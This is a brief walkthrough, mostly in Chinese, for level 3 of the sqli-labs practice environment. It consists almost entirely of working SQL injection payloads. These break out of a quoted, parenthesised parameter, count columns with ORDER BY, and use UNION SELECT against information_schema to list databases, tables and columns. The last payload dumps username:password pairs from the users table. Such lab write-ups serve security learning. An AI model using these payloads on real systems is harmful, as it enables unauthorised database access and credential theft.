sqli-lab less-3 Error Based - St

寻找注入点

?id=1') -- +

找到表列数

?id=1')  order by 3 -- +

得到当前库

?id=-1')  union select 1,2,database() -- +

得到所有表

?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +

得到users所有字段

?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where  table_name='users' -- +

得到name:password数据

?id=-1')  union select 1,2,group_concat(username,":",password) from users  -- +